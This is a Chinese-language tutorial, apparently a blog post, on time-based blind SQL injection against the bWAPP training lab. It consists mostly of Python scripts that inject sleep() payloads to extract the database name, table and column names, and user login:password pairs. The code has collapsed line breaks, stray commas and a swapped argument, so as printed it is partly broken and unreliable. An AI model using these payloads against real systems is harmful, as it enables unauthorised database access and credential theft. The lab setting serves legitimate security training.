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一、获取数据库名称长度

测试环境是bwapp靶场 SQL Injection - Blind - Time-Based

import requests
import timeHEADER={"Cookie":"BEEFHOOK=sC9TPJjSgW8Y6CDh1eKrvcYP2vwhfFGpwNOTmU92yEiWtYEjcQpYCgFxMp5ZVLrIY4ebNwNv9dHeZhMz; security=low; PHPSESSID=i79vfbbj4l30k326ckunvitfe5; security_level=0"
}
BASE_URL="http://127.0.0.1:9004/sqli_15.php?"def get_database_name_length(value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(database())={} and sleep(1) -- {}".format(value1, i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)#print(resp.content)if time.time()-start_time>1:print("数据库长度为:{}".format(i))count = ibreakreturn count

执行语句:
databaselen = get_database_name_length(“title”, “&action=search”) + 1
执行结果

tips:title=,&action=search需要使用burp抓包获得
–两边有空格

二、获取数据库名称

def get_database_name(len, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(2) -- {}".format(value1, i, j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("数据库名称为:",str)return str

执行语句:
database = get_database_name(databaselen,“title”, “&action=search”)
执行结果

三、获取表名总长度

def get_table_name_length(database, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'), 1)) ={} and sleep(1) -- {}".format(value1, database,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("表名总长度为:{}".format(i))count = ibreakreturn count

执行语句:
tablelen = get_table_name_length(database,“title”, “&action=search”) + 1
执行结果：

四、获取表名

def get_table_name(len,database, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = '{}'),{},1))={} and sleep(2) -- {}".format(value1, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>2:#print("{}:{}".format(i,j),chr(j))str+=(chr(j))breakprint("{}:".format(i),str)print("表名为:",str)return str

执行语句:
get_table_name(tablelen,database,“title”, “&action=search”)
执行结果：

,

五、获取指定表列名总长度

def get_column_name_length(database,table, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1)) ={} and sleep(1) -- {}".format(value1, table,database,i, value1)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列名总长度为:{}".format(i))count = ibreakreturn count

执行语句：
columnlen = get_column_name_length(database, “users”,“title”, “&action=search”) + 1
执行结果：

六、获取指定表列名

def get_column_name(len,database, table, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema='{}'), 1),{},1))={} and sleep(2) -- {}".format(value1, table, database, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("列名为:",str)return str

执行语句：
get_column_name(columnlen, database, “users”,“title”, “&action=search”)
执行结果：

七、获取指定表指定列的表内数据总长度

def get_data_name_length(table, username, password, value1, value2):count = 0for i in range(100):url=BASE_URL+"{}=Man of Steel' and length(substr((select group_concat({}, ':', {}) from {}), 1)) ={} and sleep(1) -- {}".format(value1, username, password, table,i, value2)start_time = time.time()resp= requests.get(url,headers=HEADER)if time.time()-start_time>1:print("列数据总长度为:{}".format(i))count = ibreakreturn count

执行语句：
datalen = get_data_name_length(“users”, “login”, “password”,“title”, “&action=search”) + 1
执行结果：

八、获取指定表指定列的表内数据

def get_data_name(len, table, username, password, value1, value2):str = ""for i in range(1,len):for j in range(127):url=BASE_URL+"{}=Man of Steel' and ascii(substr((select group_concat({}, ':', {}) from {}),{},1))={} and sleep(2) -- {}".format(value1, username, password, table, i,j, value2)start_time = time.time()resp= requests.get(url,headers=HEADER),if time.time()-start_time>2:str+=(chr(j))breakprint("{}:".format(i),str)print("登录数据为:",str)return str

执行语句：
get_data_name(datalen, “users”, “login”, “password”,“title”, “&action=search”)
执行结果：
我们发现使用这种方法似乎比burp更快更高效，只是从列爆破开始需要自己选表名